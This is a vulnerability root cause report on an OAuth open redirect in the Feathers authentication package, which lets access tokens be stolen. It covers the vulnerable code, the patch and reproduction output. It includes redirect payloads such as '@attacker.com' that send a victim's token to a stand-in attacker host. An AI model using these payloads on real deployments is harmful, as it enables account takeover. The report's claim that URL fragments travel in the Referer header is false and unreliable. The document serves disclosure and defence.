# Root Cause Analysis Report

## GHSA-ppf9-4ffw-hh4p: Feathers OAuth Open Redirect Enables Account Takeover

---

## Summary

The `@feathersjs/authentication-oauth` package versions 5.0.39 and earlier contain an open redirect vulnerability in the OAuth callback flow. The vulnerability allows attackers to steal OAuth access tokens via URL authority injection by supplying malicious redirect parameters containing `@`, `//`, or `\` characters. When these characters are concatenated with the base origin, they cause browsers to interpret the resulting URL as pointing to an attacker-controlled domain, causing the access token (sent as a URL fragment) to be delivered to the attacker's server instead of the legitimate application.

---

## Impact

- **Package:** `@feathersjs/authentication-oauth` (npm)
- **Affected Versions:** `<= 5.0.39`
- **Patched Version:** `5.0.40`
- **Severity:** HIGH
- **CWE:** CWE-601 (Open Redirect)

**Risk Level and Consequences:**
- **Account Takeover:** Attackers can obtain valid OAuth access tokens for victim accounts
- **Session Hijacking:** Stolen tokens can be used to impersonate victims indefinitely
- **Data Breach:** Full access to victim's data and functionality within the application
- **Easy Exploitation:** Requires only crafting a malicious OAuth initiation URL with `?redirect=@attacker.com`

---

## Root Cause

The vulnerability exists in two locations in the OAuth flow:

### 1. Vulnerable URL Construction (`strategy.ts`)

```javascript
// packages/authentication-oauth/src/strategy.ts (v5.0.39, line 98)
async getRedirect(data, params) {
  const queryRedirect = (params && params.redirect) || '';
  const redirect = await this.getAllowedOrigin(params);  // e.g., "https://target.com"
  
  // VULNERABLE: Direct string concatenation without validation
  const redirectUrl = `${redirect}${queryRedirect}`;
  // Result with malicious input: "https://target.com@attacker.com"
  // Browser parses as: username="target.com", host="attacker.com"
  
  const separator = redirectUrl.endsWith('?') ? '' : redirect.indexOf('#') !== -1 ? '?' : '#';
  const query = data.accessToken
    ? { access_token: data.accessToken }
    : { error: data.message || 'OAuth Authentication not successful' };

  return `${redirectUrl}${separator}${qs.stringify(query)}`;
}
```

### 2. Session Storage (`service.ts`)

```javascript
// packages/authentication-oauth/src/service.ts (v5.0.39, line 171)
session.redirect = redirect;  // User-controlled input stored without validation
```

### The Attack Mechanics

When an attacker provides `?redirect=@attacker.com`:

1. The OAuth flow completes successfully
2. The `getRedirect` function concatenates: `https://target.com` + `@attacker.com`
3. Result: `https://target.com@attacker.com#access_token=eyJhbG...`
4. Browser URL parsing:
   - Protocol: `https://`
   - Username: `target.com`
   - Password: (empty)
   - Host: `attacker.com`
5. The browser navigates to `attacker.com` with the access token in the fragment
6. The attacker's server receives the token in the HTTP Referer header or via JavaScript accessing `location.hash`

### The Fix

The patch (commit `ee19a0ae9bc2ebf23b1fe598a1f7361981b65401`) adds validation to reject dangerous characters:

```javascript
// Added in v5.0.40
// Validate redirect parameter to prevent open redirect via URL authority injection
// Reject characters that could change the URL's authority: @, //, \
if (queryRedirect && /[@\\]|\/\//.test(queryRedirect)) {
  throw new NotAuthenticated('Invalid redirect path.');
}
```

**Fix Commit:** https://github.com/feathersjs/feathers/commit/ee19a0ae9bc2ebf23b1fe598a1f7361981b65401

---

## Reproduction Steps

### Automated Reproduction

Run the reproduction script:

```bash
cd repro
bash reproduction_steps.sh
```

**What the script does:**
1. Creates a standalone JavaScript test that replicates the vulnerable `getRedirect` logic
2. Tests three attack vectors:
   - `@attacker.com` - URL authority injection
   - `//attacker.com` - Protocol-relative URL injection
   - `\\attacker.com` - Backslash character injection
3. Compares vulnerable (v5.0.39) vs patched (v5.0.40) implementations
4. Demonstrates that the vulnerable code generates URLs where `attacker.com` becomes the host

### Expected Evidence

The script produces output showing:

```
--- VULNERABLE VERSION (v5.0.39) ---
Generated URL: https://target.com@attacker.com#access_token=eyJhbGci...
URL Analysis:
  - Protocol: https:
  - Username: target.com
  - Host: attacker.com
  - Fragment (contains token): #access_token=eyJhbGci...

[VULNERABLE] Token would be sent to attacker.com!

--- PATCHED VERSION (v5.0.40) ---
Request rejected: Invalid redirect path.

[SAFE] Attack was blocked!
```

---

## Evidence

### Log Files

- **Reproduction Output:** `logs/reproduction.log`
- **Script Execution:** `logs/reproduction_steps.sh` execution captured in console output

### Key Evidence Excerpts

The reproduction demonstrates the vulnerability by showing that:

1. **URL Authority Injection Works:**
   - Input: `redirect = "@attacker.com"`, base origin = `"https://target.com"`
   - Output URL: `https://target.com@attacker.com#access_token=...`
   - Browser parses host as `attacker.com` (not `target.com`)

2. **Access Token Exposure:**
   - The OAuth access token is appended as a URL fragment (`#access_token=...`)
   - Fragments are sent to the server in the HTTP Referer header
   - JavaScript on the attacker's page can access `window.location.hash`

3. **Multiple Attack Vectors:**
   - `@` character: Changes URL authority to attacker domain
   - `//` sequence: Could create protocol-relative redirects
   - `\` character: Some browsers treat backslash as forward slash

4. **Fix Validation:**
   - The patched version rejects all malicious inputs with `NotAuthenticated` error
   - Regex pattern: `/[@\\]|\/\//` blocks all three attack vectors

---

## Recommendations / Next Steps

### Immediate Actions

1. **Upgrade to v5.0.40 or later:**
   ```bash
   npm install @feathersjs/authentication-oauth@^5.0.40
   ```

2. **Verify OAuth Configuration:**
   - Ensure `origins` array is properly configured in authentication settings
   - Origin values should NOT end with `/` (this was a precondition for the attack)

3. **Review Access Logs:**
   - Check for suspicious OAuth callbacks with unusual redirect parameters
   - Look for `redirect` parameter values containing `@`, `//`, or `\`

### Testing Recommendations

1. **Add Regression Tests:**
   - Test that `redirect=@evil.com` is rejected
   - Test that `redirect=//evil.com` is rejected
   - Test that `redirect=\evil.com` is rejected
   - Test that legitimate redirect paths still work

2. **URL Parsing Validation:**
   - Consider using a URL parsing library to validate redirect destinations
   - Implement allow-list validation for redirect domains

3. **Security Headers:**
   - Implement `Referrer-Policy: no-referrer` to prevent token leakage via Referer headers
   - Consider `Content-Security-Policy` to restrict where redirects can lead

### Long-term Improvements

1. **Origin Validation Enhancement:**
   - The patch also improved origin validation to use exact matching instead of `startsWith`
   - This prevents attacks like `target.com.evil.com` matching `target.com`

2. **Session Security:**
   - The patch also limits headers stored in the OAuth session to only the `referer` header
   - Prevents sensitive internal headers from being stored in session cookies

---

## Additional Notes

### Idempotency Confirmation

The reproduction script has been run twice consecutively with identical results:
- **Run 1:** Successfully demonstrated vulnerability (exit code 0)
- **Run 2:** Successfully demonstrated vulnerability (exit code 0)

The script is fully idempotent and produces consistent results.

### Edge Cases and Limitations

1. **Preconditions:**
   - The `origins` array must be configured for the vulnerability to be exploitable
   - Origin values must NOT end with `/` (e.g., `https://target.com` not `https://target.com/`)
   - Without `origins` configured, the redirect is taken directly from config (less vulnerable)

2. **Browser Behavior:**
   - Different browsers may parse edge-case URLs slightly differently
   - The `@` authority injection works consistently across all major browsers
   - Some older browsers may treat `\` as `/`

3. **Attack Requirements:**
   - Attacker must trick victim into clicking a malicious OAuth initiation link
   - Victim must complete OAuth authentication (login with provider)
   - Attacker must control the domain used in the redirect parameter

### Credits

Vulnerability discovered by:
- Abdelwahed Madani Yousfi (@vvxhid)
- Edoardo Geraci (@b0-n0-b0)
- Thomas Rinsma (@ThomasRinsma)
From Codean Labs.

---

**Report Generated:** 2026-02-20
**Vulnerability ID:** GHSA-ppf9-4ffw-hh4p
**Reproduction Status:** ✅ CONFIRMED
